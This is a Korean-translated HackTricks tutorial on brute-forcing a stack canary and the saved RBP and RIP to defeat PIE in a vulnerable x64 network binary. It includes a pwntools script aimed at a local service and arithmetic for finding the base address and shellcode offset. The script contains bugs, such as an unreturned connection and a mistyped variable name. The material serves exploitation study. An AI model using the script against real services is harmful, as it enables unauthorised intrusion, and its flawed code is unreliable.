BF Addresses in the Stack
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
만약 당신이 canary와 PIE (Position Independent Executable)로 보호된 바이너리에 직면해 있다면, 이를 우회할 방법을 찾아야 할 것입니다.
note
**checksec
**가 바이너리가 canary로 보호되고 있다는 것을 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없기 때문입니다.
그러나 함수 호출의 시작 부분에서 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다.
Brute-Force Addresses
PIE를 우회하기 위해는 주소를 유출해야 합니다. 바이너리가 주소를 유출하지 않는 경우, 가장 좋은 방법은 취약한 함수에서 스택에 저장된 RBP와 RIP를 브루트포스하는 것입니다.
예를 들어, 바이너리가 canary와 PIE로 보호되고 있다면, canary를 브루트포스한 후 다음 8 바이트(x64)는 저장된 RBP가 되고, 다음 8 바이트는 저장된 RIP가 됩니다.
tip
스택 내의 반환 주소는 주 바이너리 코드에 속한다고 가정합니다. 취약점이 바이너리 코드에 위치해 있다면, 일반적으로 이 경우가 됩니다.
바이너리에서 RBP와 RIP를 브루트포스하기 위해, 프로그램이 무언가를 출력하거나 단순히 충돌하지 않으면 유효한 추측 바이트가 맞다는 것을 알 수 있습니다. canary를 브루트포스하기 위해 제공된 동일한 함수를 사용하여 RBP와 RIP를 브루트포스할 수 있습니다:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
PIE를 무너뜨리기 위해 필요한 마지막 것은 유출된 주소에서 유용한 주소를 계산하는 것입니다: RBP와 RIP입니다.
RBP를 사용하여 스택에 셸을 어디에 쓰고 있는지 계산할 수 있습니다. 이는 스택 내에서 문자열 _"/bin/sh\x00"_을 쓸 위치를 아는 데 매우 유용할 수 있습니다. 유출된 RBP와 셸코드 간의 거리를 계산하려면 RBP를 유출한 후에 브레이크포인트를 설정하고 셸코드가 어디에 위치하는지 확인한 다음, 셸코드와 RBP 간의 거리를 계산할 수 있습니다:
INI_SHELLCODE = RBP - 1152
RIP에서 PIE 바이너리의 기본 주소를 계산할 수 있으며, 이는 유효한 ROP 체인을 생성하는 데 필요합니다.
기본 주소를 계산하려면 objdump -d vunbinary
를 실행하고 최신 주소를 분해하여 확인하세요:
이 예제에서는 모든 코드를 찾는 데 1바이트 반만 필요하다는 것을 볼 수 있습니다. 따라서 이 상황에서 기본 주소는 유출된 RIP에 "000"으로 끝나는 것입니다. 예를 들어, 0x562002970ecf
가 유출되었다면 기본 주소는 0x562002970000
입니다.
elf.address = RIP - (RIP & 0xfff)
개선 사항
이 게시물의 일부 관찰에 따르면, RBP 및 RIP 값을 누출할 때, 서버가 올바르지 않은 일부 값으로 충돌하지 않을 수 있으며 BF 스크립트는 올바른 값을 얻었다고 생각할 수 있습니다. 이는 일부 주소는 정확한 값이 아니더라도 충돌하지 않을 수 있기 때문입니다.
해당 블로그 게시물에 따르면 서버에 대한 요청 사이에 짧은 지연을 추가하는 것이 권장됩니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.